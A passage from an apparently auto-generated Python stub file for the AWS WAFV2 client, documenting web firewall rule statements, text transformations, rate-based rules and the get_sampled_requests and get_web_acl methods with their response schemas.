SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. RateBasedStatement (dict) -- A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests. When the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit. You can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements: An IP match statement with an IP set that specified the address 192.0.2.44. A string match statement that searches in the User-Agent header for the string BadBot. In this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule. You cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. Limit (integer) -- The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement. AggregateKeyType (string) -- Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses. ScopeDownStatement (dict) -- An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement. AndStatement (dict) -- A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement . Statements (list) -- The statements to combine with AND logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. OrStatement (dict) -- A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement . Statements (list) -- The statements to combine with OR logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. NotStatement (dict) -- A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement . Statement (dict) -- The statement to negate. You can use any statement that can be nested. ManagedRuleGroupStatement (dict) -- A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) -- The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) -- The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) -- The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. Action (dict) -- The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting. This is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement . You must specify either this Action setting or the rule OverrideAction setting, but not both: If the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting. If the rule statement references a rule group, use the override action setting and not this action setting. Block (dict) -- Instructs AWS WAF to block the web request. Allow (dict) -- Instructs AWS WAF to allow the web request. Count (dict) -- Instructs AWS WAF to count the web request and allow it. OverrideAction (dict) -- The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) -- Override the rule action setting to count. None (dict) -- Don\'t override the rule action setting. VisibilityConfig (dict) -- Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . VisibilityConfig (dict) -- Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . LockToken (string) -- A token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'RuleGroup': { 'Name': 'string', 'Id': 'string', 'Capacity': 123, 'ARN': 'string', 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, 'LockToken': 'string' } :returns: Method : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request. UriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg . """ pass def get_sampled_requests(WebAclArn=None, RuleMetricName=None, Scope=None, TimeWindow=None, MaxItems=None): """ Gets detailed information about a specified number of requests--a sample--that AWS WAF randomly selects from among the first 5,000 requests that your AWS resource received during a time range that you choose. You can specify a sample size of up to 500 requests, and you can specify any time range in the previous three hours. See also: AWS API Documentation Exceptions :example: response = client.get_sampled_requests( WebAclArn='string', RuleMetricName='string', Scope='CLOUDFRONT'|'REGIONAL', TimeWindow={ 'StartTime': datetime(2015, 1, 1), 'EndTime': datetime(2015, 1, 1) }, MaxItems=123 ) :type WebAclArn: string :param WebAclArn: [REQUIRED]\nThe Amazon resource name (ARN) of the WebACL for which you want a sample of requests.\n :type RuleMetricName: string :param RuleMetricName: [REQUIRED]\nThe metric name assigned to the Rule or RuleGroup for which you want a sample of requests.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type TimeWindow: dict :param TimeWindow: [REQUIRED]\nThe start date and time and the end date and time of the range for which you want GetSampledRequests to return a sample of requests. Specify the date and time in the following format: '2016-09-27T14:50Z' . You can specify any time range in the previous three hours.\n\nStartTime (datetime) -- [REQUIRED]The beginning of the time range from which you want GetSampledRequests to return a sample of the requests that your AWS resource received. Specify the date and time in the following format: '2016-09-27T14:50Z' . You can specify any time range in the previous three hours.\n\nEndTime (datetime) -- [REQUIRED]The end of the time range from which you want GetSampledRequests to return a sample of the requests that your AWS resource received. Specify the date and time in the following format: '2016-09-27T14:50Z' . You can specify any time range in the previous three hours.\n\n\n :type MaxItems: integer :param MaxItems: [REQUIRED]\nThe number of requests that you want AWS WAF to return from among the first 5,000 requests that your AWS resource received during the time range. If your resource received fewer requests than the value of MaxItems , GetSampledRequests returns information about all of them.\n :rtype: dict ReturnsResponse Syntax { 'SampledRequests': [ { 'Request': { 'ClientIP': 'string', 'Country': 'string', 'URI': 'string', 'Method': 'string', 'HTTPVersion': 'string', 'Headers': [ { 'Name': 'string', 'Value': 'string' }, ] }, 'Weight': 123, 'Timestamp': datetime(2015, 1, 1), 'Action': 'string', 'RuleNameWithinRuleGroup': 'string' }, ], 'PopulationSize': 123, 'TimeWindow': { 'StartTime': datetime(2015, 1, 1), 'EndTime': datetime(2015, 1, 1) } } Response Structure (dict) -- SampledRequests (list) -- A complex type that contains detailed information about each of the requests in the sample. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Represents a single sampled web request. The response from GetSampledRequests includes a SampledHTTPRequests complex type that appears as SampledRequests in the response syntax. SampledHTTPRequests contains an array of SampledHTTPRequest objects. Request (dict) -- A complex type that contains detailed information about the request. ClientIP (string) -- The IP address that the request originated from. If the web ACL is associated with a CloudFront distribution, this is the value of one of the following fields in CloudFront access logs: c-ip , if the viewer did not use an HTTP proxy or a load balancer to send the request x-forwarded-for , if the viewer did use an HTTP proxy or a load balancer to send the request Country (string) -- The two-letter country code for the country that the request originated from. For a current list of country codes, see the Wikipedia entry ISO 3166-1 alpha-2 . URI (string) -- The URI path of the request, which identifies the resource, for example, /images/daily-ad.jpg . Method (string) -- The HTTP method specified in the sampled web request. HTTPVersion (string) -- The HTTP version specified in the sampled web request, for example, HTTP/1.1 . Headers (list) -- A complex type that contains the name and value for each header in the sampled web request. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Part of the response from GetSampledRequests . This is a complex type that appears as Headers in the response syntax. HTTPHeader contains the names and values of all of the headers that appear in one of the web requests. Name (string) -- The name of the HTTP header. Value (string) -- The value of the HTTP header. Weight (integer) -- A value that indicates how one result in the response relates proportionally to other results in the response. For example, a result that has a weight of 2 represents roughly twice as many web requests as a result that has a weight of 1 . Timestamp (datetime) -- The time at which AWS WAF received the request from your AWS resource, in Unix time format (in seconds). Action (string) -- The action for the Rule that the request matched: ALLOW , BLOCK , or COUNT . RuleNameWithinRuleGroup (string) -- The name of the Rule that the request matched. For managed rule groups, the format for this name is <vendor name>#<managed rule group name>#<rule name> . For your own rule groups, the format for this name is <rule group name>#<rule name> . If the rule is not in a rule group, the format is <rule name> . PopulationSize (integer) -- The total number of requests from which GetSampledRequests got a sample of MaxItems requests. If PopulationSize is less than MaxItems , the sample includes every request that your AWS resource received during the specified time range. TimeWindow (dict) -- Usually, TimeWindow is the time range that you specified in the GetSampledRequests request. However, if your AWS resource received more than 5,000 requests during the time range that you specified in the request, GetSampledRequests returns the time range for the first 5,000 requests. StartTime (datetime) -- The beginning of the time range from which you want GetSampledRequests to return a sample of the requests that your AWS resource received. Specify the date and time in the following format: "2016-09-27T14:50Z" . You can specify any time range in the previous three hours. EndTime (datetime) -- The end of the time range from which you want GetSampledRequests to return a sample of the requests that your AWS resource received. Specify the date and time in the following format: "2016-09-27T14:50Z" . You can specify any time range in the previous three hours. Exceptions WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException :return: { 'SampledRequests': [ { 'Request': { 'ClientIP': 'string', 'Country': 'string', 'URI': 'string', 'Method': 'string', 'HTTPVersion': 'string', 'Headers': [ { 'Name': 'string', 'Value': 'string' }, ] }, 'Weight': 123, 'Timestamp': datetime(2015, 1, 1), 'Action': 'string', 'RuleNameWithinRuleGroup': 'string' }, ], 'PopulationSize': 123, 'TimeWindow': { 'StartTime': datetime(2015, 1, 1), 'EndTime': datetime(2015, 1, 1) } } :returns: c-ip , if the viewer did not use an HTTP proxy or a load balancer to send the request x-forwarded-for , if the viewer did use an HTTP proxy or a load balancer to send the request """ pass def get_waiter(waiter_name=None): """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters. :rtype: botocore.waiter.Waiter """ pass def get_web_acl(Name=None, Scope=None, Id=None): """ Retrieves the specified WebACL . See also: AWS API Documentation Exceptions :example: response = client.get_web_acl( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the Web ACL. You cannot change the name of a Web ACL after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nThe unique identifier for the Web ACL. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :rtype: dict ReturnsResponse Syntax { 'WebACL': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'DefaultAction': { 'Block': {}, 'Allow': {} }, 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {}, 'Allow': {}, 'Count': {} }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, 'Capacity': 123, 'PreProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'PostProcessFirewallManagerRuleGroups': [ { 'Name': 'string', 'Priority': 123, 'FirewallManagerStatement': { 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'OverrideAction': { 'Count': {}, 'None': {} }, 